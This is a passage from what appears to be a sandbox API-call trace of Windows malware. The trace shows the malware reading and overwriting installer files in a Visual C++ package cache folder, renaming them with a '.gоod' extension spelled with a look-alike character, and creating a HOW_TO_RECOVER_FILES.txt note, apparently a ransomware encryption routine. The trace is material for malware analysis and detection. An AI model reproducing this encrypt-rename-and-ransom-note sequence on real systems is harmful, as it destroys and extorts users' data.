Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6c [0072.795] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.795] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.795] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0072.796] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0072.796] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0072.796] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0072.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0072.796] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0072.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0072.796] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x3370bc0 | out: lpFileInformation=0x3370bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0xf36be)) returned 1 [0072.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0072.796] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0072.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0072.797] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0072.797] GetFileType (hFile=0x768) returned 0x1 [0072.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0072.797] GetFileType (hFile=0x768) returned 0x1 [0072.797] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0072.797] ReadFile (in: hFile=0x768, lpBuffer=0x3371088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x3371088*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0072.798] CloseHandle (hObject=0x768) returned 1 [0072.798] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0072.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0072.798] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0072.799] GetFileType (hFile=0x768) returned 0x1 [0072.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0072.799] GetFileType (hFile=0x768) returned 0x1 [0072.799] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0xf36be [0072.799] WriteFile (in: hFile=0x768, lpBuffer=0x3372378*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x3372378*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0072.970] CloseHandle (hObject=0x768) returned 1 [0073.101] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0073.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0073.101] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0073.101] GetFileType (hFile=0x768) returned 0x1 [0073.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0073.101] GetFileType (hFile=0x768) returned 0x1 [0073.101] ReadFile (in: hFile=0x768, lpBuffer=0x31b0488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x31b0488*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0073.601] CloseHandle (hObject=0x768) returned 1 [0073.601] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0073.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0073.601] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0073.602] GetFileType (hFile=0x768) returned 0x1 [0073.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0073.602] GetFileType (hFile=0x768) returned 0x1 [0073.602] WriteFile (in: hFile=0x768, lpBuffer=0x31af188*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x31af188*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0073.602] CloseHandle (hObject=0x768) returned 1 [0073.619] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0073.619] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7a [0073.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0073.619] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x28171d55, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf36ce)) returned 1 [0073.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0073.619] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.gоod")) returned 1 [0073.620] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0073.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0073.620] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x342d140 | out: lpFileInformation=0x342d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000)) returned 1 [0073.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0073.860] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0073.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0073.860] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0073.860] GetFileType (hFile=0x768) returned 0x1 [0073.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0073.860] GetFileType (hFile=0x768) returned 0x1 [0073.860] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0073.860] ReadFile (in: hFile=0x768, lpBuffer=0x35bf0e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x35bf0e8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0073.862] CloseHandle (hObject=0x768) returned 1 [0073.862] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0073.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0073.862] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0073.862] GetFileType (hFile=0x768) returned 0x1 [0073.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0073.862] GetFileType (hFile=0x768) returned 0x1 [0073.862] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x23000 [0073.862] WriteFile (in: hFile=0x768, lpBuffer=0x35c0418*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x35c0418*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0073.863] CloseHandle (hObject=0x768) returned 1 [0073.868] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0073.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0073.868] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0073.869] GetFileType (hFile=0x768) returned 0x1 [0073.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0073.869] GetFileType (hFile=0x768) returned 0x1 [0073.869] ReadFile (in: hFile=0x768, lpBuffer=0x35c2770, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x35c2770*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0074.562] CloseHandle (hObject=0x768) returned 1 [0074.562] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0074.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0074.562] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0074.562] GetFileType (hFile=0x768) returned 0x1 [0074.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0074.562] GetFileType (hFile=0x768) returned 0x1 [0074.562] WriteFile (in: hFile=0x768, lpBuffer=0x31afbb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x31afbb0*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0074.562] CloseHandle (hObject=0x768) returned 1 [0074.566] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0074.566] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.gоod", lpFilePart=0x0) returned 0x8b [0074.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0074.566] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010)) returned 1 [0074.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0074.566] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.gоod" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.gоod")) returned 1 [0074.567] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x85 [0074.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0074.567] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0074.570] GetFileType (hFile=0x768) returned 0x1 [0074.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0074.570] GetFileType (hFile=0x768) returned 0x1 [0074.570] WriteFile (in: hFile=0x768, lpBuffer=0x31e7a40*, 